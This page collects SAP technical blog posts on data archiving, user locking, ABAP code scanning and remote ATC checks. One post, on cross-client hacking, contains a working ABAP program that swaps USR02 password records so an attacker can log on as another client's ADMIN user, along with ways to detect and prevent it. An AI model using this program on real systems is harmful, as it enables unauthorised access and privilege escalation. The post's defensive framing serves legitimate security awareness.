Code review – Page 4 – Saptechnicalguru.com

SAP database growth control: data archiving business discussions

This blog addresses the main challenge in SAP data archiving for functional object: the discussions with the business.

This blog will give answers to the following questions:

When to start data archiving discussion with the business?
How to come to good retention periods?
What are arguments for not archiving certain data?

Data archiving discussion with the business

Unlike technical data deletion, functional data archiving cannot be done without proper business discussion and approval.

Depending on your business several aspects for data are important:

Auditing and Sox needs
Tax and legal retention periods
Product data requirement
And so on…..

Here are some rules of thumb you can use before considering to start up the business discussions about archiving:

Rule of thumb 1: the system is pretty new. At least wait 3 years to get an insight into which tables are growing fast and are worth to investigate for data archiving.

Rule of thumb 2: if your system is growing slowly, but the infrastructure capabilities grow faster: only perform technical clean up and don't even start functional data archiving.

Rule of thumb 3: if you are on HANA: check if the data aging concept for functional objects is stable enough and without bugs. Data aging does not require much work, it is only technical and it does not require much business discussions. Data retrieval from end user perspective is transparent.

Data analysis before starting the discussion

If your system is growing fast and/or you are getting performance complaints, then you need to do proper data analysis before starting any business discussion.

Start with proper analysis on the data. Use the TAANA tool to get insights into the data: how is the distribution of data per document type, per year, per plant/company code etc. If you want to propose retention period of let’s say 5 years, you can use the TAANA results to show what percentage of data you can move out of the database.

Secondly: if you have an idea on which data you want to archive, first execute a trial run on a recent production copy. There might be functional blocks that prevent you from archiving data (like not closed documents).

Third important factor is the ease of data retrieval. Some object have a nice simple data retrieval function, and some are really terrible. If the retrieval is good, the business will more easily accept a shorter retention period. Read more on technical data retrieval in this blog.

As last step you can start the business case: how much data will be saved (and how much money hence will be save) and how much performance would be gain. And how much time is needed to be invested for setting up, checking (testing!) and running the data archiving runs.

In practice data archiving business case is only present in very large systems of 5 TB and larger. This sizing tipping point changes in time as hardware gets cheaper and hourly manpower costs go up.

The discussion itself

Take must time in planning for the discussion itself. It is not uncommon that archiving discussions take over a year to complete. The better you are prepared the easier the discussion. It also helps to have a few real performance pain points to get solved via data archiving. There is normally a business owner for this pain point who can help push data archiving.

Cross client access hacking

Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.

Questions that will be answered in this blog are:

How to execute a cross client access hack?
How to detect this attack?
What preventive measures should I take to prevent this in my systems?

Cross client hack explained

You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.

So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:

REPORT ZSWAPUSER. 

data: zls_usr02_1 type usr02. 
data: zls_usr02_2 type usr02. 
data: zls_usr02_t type usr02. 

parameters p_uname1 type usr02-bname. 
parameters p_mandt1 type sy-mandt. 
parameters p_mandt2 type sy-mandt.

select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1. 

select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2. 

zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t. 
write sy-subrc. 

zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1. 
modify usr02 client specified from zls_usr02_t. 
write sy-subrc.

In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..

After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.

Detecting this attack

Detecting this attack directly is very difficult. There are traces:

Client opening and closing in the source client
The presence of the ABAP code
The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
ADMIN access from same terminal as the hacker is using to logon to the source client

Preventive measures

The following preventive measures can be taken:

Reset all standard passwords in all systems in all clients (see blog)
Delete no longer needed clients 001 and 066 (see blog)
Switch on audit logging in all clients (see blog)

Mass locking and end validity date of users

There are 2 good reasons for mass locking and ending validity date of user: security and licenses.

Questions that will be answered in this blog are:

How can I mass lock users automatically if they have not logged on for a certain time?
How can I mass set the validity date of the users that did not log on for a certain time?

Automatic lock of user after expired logon

In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.

If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.

If the user tries to logon after the period he will see this error message and cannot continue:

In SU01 such a user looks like this:

If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.

Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.

Mass setting of user validity date

For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.

Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.

It has quite a long selection screen:

On the first block set the dates for last logon and password change to get a good selection of users.

On the second block very important to only select Dialog Users.

First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.

OSS notes

Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS):

Scanning ABAP code: ABAP search tool

This blog will explain how to scan ABAP coding in search of a specific keyword or string. Many times older or badly written programs contain hard code logic like system ID’s, plant codes, movement types, order types etc. When a larger business change happens you need to find these codes in your ABAP code and act on them. This blog will explain how to do this search.

Questions that will be answered are:

How does the scan program work?
How to search for certain strings?
How to search for words in the comments?

ABAP search tool

You can start the ABAP search tool with transaction code CODE_SCANNER:

For testing 2 simple programs are written:

REPORT zscantest1.

IF syst-sysid EQ 'S4H'.
  WRITE: 'development system'.
ELSEIF syst-sysid EQ 'S4P'.
  WRITE: 'production system'.
ENDIF.

REPORT zscantest2.

DATA zt001w TYPE t001w.

SELECT SINGLE werks FROM t001w INTO zt001w.

IF zt001w-werks EQ 'DE01'.
  WRITE: 'German plant'.
ELSEIF zt001w-werks  EQ 'US01'.
* USA plant
  WRITE: 'US plant'.
ELSE.
  WRITE: 'diffferent plant'.
ENDIF.

If we now start a search with the word ‘S4H’ we get this result:

A hard coded SID.

If we search with ‘US01’ we get this result:

A hard coded plant.

If we search with ‘USA’ we get this result:

The word we were looking for is in the comment lines.

Search alternative program RS_ABAP_SOURCE_SCAN

In SAP note 2764076 – CODE_SCANNER not working properly, SAP explains that CODE_SCANNER might not always work for every release. They offer alternative program RS_ABAP_SOURCE_SCAN (there is no transaction code for this program, so start via SE38):

Bug fix notes:

ABAP code metric tool

There are many static code analysis tools. Long list can be found on Wikipedia. At some point in time a manager or developer might come to you with one of these tools like “hey, at my previous customer we used SonarABAP for code measurements”.

This blog will explain the ABAP code metric tool built into netweaver. Together with the ATC tool the code metric tool covers most of the functions that such tools deliver.

Questions that will be answered in this blog are:

How can I count the amount of lines of Z code in my SAP system?
How to run ABAP code metric tool?
What output will the ABAP code metric tool deliver?
Use cases of the ABAP code metric tool?

Test program

The test the code metric tool write a small ABAP program like this:

This program has nested IF statements (3 levels deep), one ELSE statement and a nested DO.

Code metric tool

Start the custom code analysis tools with transaction /SDF/CD_CCA:

The code metric tool is the tool on the bottom of the screen.

On the start screen select the package and extra checks (selecting more packages and checks will increase the runtime of the tool):

Result for our test program:

The output is giving:

LoC: lines of code
NoS: number of statements
NoC: number of comments
COM: complexity of conditions
TOTAL DD: complexity weighted by decision depth
etc
IF: 3 (this was in our test program)
ELSEIF: 1
DO: 2
etc like amount of loops, selects, updates, deletes, modifies, case statements.

Use cases of Code Metric Tool

Use case 1: complex programs

Complex programs are normally source of most productive issues. You can use the code tool to check if the program is not too overly complex (like many nested if and case statements).

Use case 2: the procedural versus OO discussion

Sometimes you have managers wanting you to count the amount of Z objects. If you have switched from procedural coding to OO coding you will find the amount of objects to have increased. The code metric tool can help you here by counting the amount of statements and complexity. The amount of objects in OO is typically higher, but due to re-use and better setup, the total amount of statements and the total complexity decision depth should be smaller.

Use case 3: count the amount of Z code lines in your SAP system

Every now and then there is discussion on Z code. Sometimes the question will popup: “How many lines of Z code do we have in our SAP system?”. This question you can answer as well with the code metric tool explained above.

For reference: SAP standard has 238 million lines of code (source is this SAP blog).

ABAP clone finder

This blog will explain the use of SAP clone finder.

Questions that will be answered in the blog are:

What are clones?
How to run the clone finder tool?
How to analyze the difference between the original and the clone?

What are clones?

Standard SAP offers lot of out-of-the-box functions and reports. But in many cases the standard report only offers 95%. What to do? In many cases developers copy the standard SAP program to Z copy and add the needed 5%. When upgrading the system to higher version or when applying support packages or OSS notes, the Z clone will not be upgraded to latest version. Maybe the clone needs updates as well, or can be deleted now after upgrade (if SAP added the missing 5%).

The clone finder tool is able to find the clones made in the past.

When you are doing a S4HANA conversion project (see blog) you will have to look again at these clones if they are still relevant or not.

Running the clone finder tool

The clone finder is part of the Custom Code Analysis workbench. Start the workbench with transaction /SDF/CD_CCA or transaction CCAPPS:

Clone finder is on top of the list.

Start screen of clone finder:

Pending on the size of your system you can run online or in batch.

Test result of standard SAP copy made as example:

As example program RSUSR003 and its includes were copied to Z programs. 3 are shown as identical copies. 1 is altered.

In the function link column you can hit the Version Compare button to see the differences:

Differences: the name of program and includes are different. And the authorization check was removed.

Relevant OSS notes

Useful OSS notes:

Digitally signed SAP notes

In the previous blog on SAP security notes you will see that security notes popup around “Digitally signed SAP notes”.

This blog will explain more on how to implement this.

Questions that will be answered in this blog are:

Why switch over to the new way?
How to implement the feature to download digitally signed SAP notes?
How to make the relevant settings?
Where to find more information?

Why switch over to the new way?

SAP keeps improving their security in all ways. Including OSS notes. There is no direct benefit. After downloading the OSS notes, the handling is identical for old and new way.

Switching over from current way of working to digitally signed SAP notes can be done any time.

SAP has announced the following: "Post January 1, 2020, the download and upload process will stop working unless Note Assistant (SNOTE transaction) is enabled in ABAP systems to work with digitally signed SAP Notes".

How to implement digitally signed SAP notes?

There are 2 basic ways to implement (you have to do only one):

Apply OSS notes 2508268, 2408073 and 2546220.
Apply TCI based OSS note 2576306, which contains all the notes (and manual work) in the notes mentioned in point 1. Your system needs to be able to handle TCI based OSS notes (see this blog on how to do this).
Follow the guided procedure

Guided enablement procedure

The guided procedure is the easiest way to apply and check the digitally signed OSS notes way of working.

Follow the instructions from OSS note 2836302 – Automated guided steps for enabling Note Assistant for TCI and Digitally Signed SAP Notes. Attached this note is an explanatory PDF document that describes all steps in detail. After installation of the OSS note (and prerequisite notes), you can run program RCWB_TCI_DIGITSIGN_AUTOMATION, which will guide you through the steps and verifies the results at the end:

Settings after implementation

If you have done the TCI based import a new customizing node is available:

The first one (direct program in SE38 is called RCWB_SNOTE_DWNLD_PROC_CONFIG) is to set the way of downloading:

The second one (direct program in SE38 is called RCWB_UNSIGNED_NOTE_CONFIG) is to allow only digitally signed SAP notes:

How to validate if the notes now are digitally signed?

To see if all is ok, download and implement a new OSS note. In the note log you can now see the digital signature download in the note log (in nice German words):

Known issue notes

Please read OSS note 2721941 – Download of digitally signed note – changes to configuration report and other minor changes carefully. It contains last minute fixes and changes.

Where to find more information?

More information can be found at the following sources:

2537133 – FAQ – Digitally Signed SAP Notes
Presentation on handling digitally signed SAP notes
SAP notes assistant page, section for digitally signed SAP notes
Full implementation presentation (including changes in RFC)

Use remote ATC for baselining Z code

In the previous blogs we have explain how to run ATC from central system to remote system. This will enable you to for example run the ATC against an older release, which doesn’t have the ATC tool capability.

But there is one other common issue with older systems: you have lots of existing legacy Z code. If you want to clean up or start with new guidelines the ATC is initially not helpful since it will give you lots of errors.

This blog will explain the concept of baselining the current Z code with an initial run to give you a clean start.

Questions that will be answered in this blog are:

How to setup the ATC baseline?
How to run the ATC baseline?
What are the known limitations of the ATC baseline functionality?

Setting the baseline

To set the baseline, first run a full ATC remote check. This will give many issues. In the ATC results screen select the run and press the button Baseline to mark the current results as baseline.

You can choose that the current results are simply suppressed, are treated as exemptions or are treated as low priority.

If you run ATC tool again, please make sure in your run variant that you now select the consider baseline tick box:

If you don’t change any coding in the remote system the next run of ATC should give you a clean run with no issues (in case you have chosen suppression).

ATC after baseline

In the remote system we now do 2 coding changes:

We had before the baseline a bad program called ZCRAP1. To this program we do a change.
We created a new program called ZCRAP2.

Now we run the ATC tool again with the baseline to ignore the baselined findings.

The ATC tool now finds issues in both the changed and the newly created program.

The unfortunate thing is that for the old program, it does not look at the newly added lines, but it looks at ALL the issued in the analyzed code (also the existing). 
This might lead to some surprise if you add 1 line to a 1000 line existing bad code: this will give lots of errors. It is up to you to decide to fix the existing errors or just exempt the existing ones.

Baseline suppression known issues

The baseline suppression has some known issue situations. These are listed in OSS note 2552932 – ATC: Baseline Does not Suppress all Findings.

Bug fix notes:

- 2609447 – ATC: Baseline seemingly not reliable

- 2609481 – ATC: Similar findings might not all be reported

Using remote ATC for S4HANA readiness checks

In the blog on readiness check 2.0 we explained how you can perform analysis on your system as preparation for the S4HANA upgrade. This blog will explain how to run detailed analysis on your custom code as preparation for S4HANA upgrade. Pre-condition is that you have installed 7.52 netweaver system and done the configuration for remote ATC as described in this blog.

Questions that will be answered in this blog are:

What do I need to do in order to set up the remote S4HANA readiness check in ATC?
How to run the remote S4HANA readiness check?
How to handle the results of the remote S4HANA readiness check?

How to set up remote ATC for S4HANA readiness check?

To run the remote ATC for S4HANA readiness check you must install a netweaver 7.52 system and configure the remote ATC. Instructions can be found in this blog.

In the central 7.52 ATC system you must then apply all the extra OSS notes needed that are listed in OSS note 2436688 – Recommended SAP Notes for using S/4HANA custom code checks in ATC.

In the SAP code inspector (for details see this blog) you can now find the S4HANA readiness variants:

How to run the S4HANA readiness in ATC?

To run the S4HANA readiness variant create in the ATC tool (for all details see this blog) a special S4HANA readiness run series:

In this run it is important to put your analysis system object provider into the variant!

Now start the ATC run and be patient. The run might take a few hours pending on your system size and Z code base sizing.

You can monitor the progress in the ATC run monitor:

You can also see here if any tool issues were reported. If tool issues are present, click on the underlined number and see if you can solve them. Most issues are SAP bugs and you need to apply an OSS note. Before creating new message for SAP make sure you have applied all recent notes for the S4HANA readiness check (2436688 – Recommended SAP Notes for using S/4HANA custom code checks in ATC) and all the remote ATC notes as explained in the remote ATC blog.

How to handle the results?

If the ATC run is finished you can look at the results in the central system:

The results consist of a code point where a potential issue is. If you click on the code point you jump to the analyzed systems code.

There is also a note number which explains what you need to check.

Now basically 3 things can happen:

You can fix the issue directly: nice, the next run the issue is gone.
You read from the OSS note the function has changed or is no longer present in S4HANA. Read the OSS note for alternatives or check with your functional consultant on functional alternatives. Example of change is the way output and pricing is done. You know now it will be changed, but you cannot prepare in the current system. Use the list as input for project management for work estimation.
You read from the OSS note the potential issue and conclude it is not relevant for your situation. Example is material number length handling. If you use material numbers properly this is not relevant for you, but the tool will generate massive amounts of alerts. But maybe in some cases you need to intervene.

To distribute the results, apply OSS note 2499684. This enables you to download the ATC results into xls spread sheet. From here it is easier to follow up if action is needed for long list (like material number length) or not.

Fine tuning the results

OSS note 2865234 – SAP S/4HANA custom code checks show different number of findings in different check runs contains some explanation on differences in numbers.

More important, you need to run the ATC a few times, after every main clean up round. But some notes you might have detected as not relevant and you want to exclude them.

To do this copy the SCI S4HANAREADINESS variant to your own variant. Then change the SCI variant to exclude the OSS notes you don’t want to see any more:

Now rerun the ATC with the new variant. The list you get will be smaller. Repeat this iterations as long as needed.

Don't change the originally SAP delivered SCI variants. New features and bug fixes by SAP will update this variant. If you have an updated SAP variant, simply copy it again to your Z variant and redo the exclusion of OSS notes.

S4HANA 1809 update and beyond

If you previously installed remote ATC for a 1709 check and want to run now for S4HANA 1809 or higher version, there are a few update steps to follow.

First step is to install OSS note 2659194 – Check variant for SAP S/4HANA 1809 custom code checks and carry out the manual aftercare action. This will deliver you the SCI variant for S4HANA_READINESS_1809.

If you now run remote ATC without step 2, you get the issue described in OSS note 2532285 – ATC: Inspection was not executed because target release information cannot be processed.

Step 2 is to update the simplification content to version 1809. You have to download the content from SAP software site and upload it in your ATC 7.52 system. For this step follow the instructions from OSS note 2241080 – SAP S/4HANA: Content for checking customer specific code.

Short summary of these steps in this note: download the most up-to-date simplification database:

In the 7.52 central ATC system use tcode SYCM to upload this file.

Now you are good to go for the S4HANA 1809 readiness check for custom code.

For S4HANA 1909, S4HANA 2020 and S4HANA 2021 the notes have different numbers:

The basic process is still the same.

Bug fix OSS notes

Bug fix OSS notes:

Enabling ATC for remote checks

By using a Netweaver 7.52 server (or newer) you can use that server a central ATC server for running the ATC. For explanation on ATC itself, please check this blog.

Questions that will be answered in this blog are:

What are reasons for running remote ATC checks?
How to set up remote ATC checks?
Which limitations does remote ATC checks have?

Reasons for running remote ATC checks

There are several reasons why you might want to do this:

Run ATC against an old 7.00/7.01/7.02 system, where ATC is not delivered by SAP
Run ATC for S4HANA Readiness checks (see blog)
Run the latest ATC checks and you want to use the new baseline function (see blog)
Run the ATC tool centrally when you have more development systems, but still want to maintain the ruleset only once

Consider very carefully if the benefits you are looking for are worth the setup work below.

The master OSS note for the remote checks is 2375864 – ATC: Remote Checks – Developer Scenario.

Central system

First of all you need a 7.52 or higher system. This might already be big stumbling block if you don’t have this. In past blogs and notes you might find it works for 7.51 as well, but this will have severe limitations. For example the S4HANA Readiness only works properly on 7.52.

Read note 2364916 – Recommended SAP Notes for using ATC to perform remote analysis. Goto the section of the central check system for your version and see which OSS notes you need to apply so solve the known bugs.

Checked system

The master note 2375864 – ATC: Remote Checks – Developer Scenario contains the OSS notes to be applied for the older versions. For the newer versions OSS note 2190065 – ATC/CI: Remote Code Analysis – Object Provider Stub is needed.

This looks like a simple action, but it is not. It will pull in dependent OSS notes. One of these notes is the key OSS note 2270689 – Remote Analysis (for source system). This note contains references to the notes to apply.

Notes referred to in note 2270689 can be HUGE OSS notes. It can take 15 to 20 minutes to download and will result into a time-out dump is you have standard 10 minutes set. Ask basis team to set rdisp/max_wprun_time and rdisp/scheduler/prio_high/max_runtime to 30 minutes for you to able to download this note.

Per checked system you will need an RFC connection from the central system to the checked system.

To initialize the remote check per checked system you must run program RS_ABAP_INIT_ANALYSIS:

Also run this program in the central system!

Configuring the central system

Start transaction ATC and goto the setup menu to set the system role:

Select here the second option to make it a central system:

Then goto the menu for setting up the object providers:

First create a group:

The fill the RFC Object providers:

The vital element here is the RFC connection that you have created from the central system to the local system.

Make sure in the central system by testing in SM59: the connection is properly working. Also make sure that the user in the checked system has sufficient RFC rights to execute the remote ATC checks.

Setup the SCI variant for remote execution

In the central system set up the SCI variant for remote execution.

Be aware here one of the major limitations: you can only select the check which SAP has enabled for RFC based check:

Remote ATC run execution

In the central system now define the ATC to run:

Important here:

The check variant has to be defined in the central system
The variant runs against the selected object provider you have just defined

After the first run you must likely will get check tool failures:

Read the failures carefully and solve them one by one.

End result

The end result is the same as with the local system. By clicking on the code you will jump from central to checked system.

Bug fixes

Bug fix notes:

3022283 – Clear Caches of Static Check Infrastructure (contains instructions on clean up reports RS_ABAP_DELETE_ANALYSIS and RS_ABAP_CLEAN_ANALYSIS)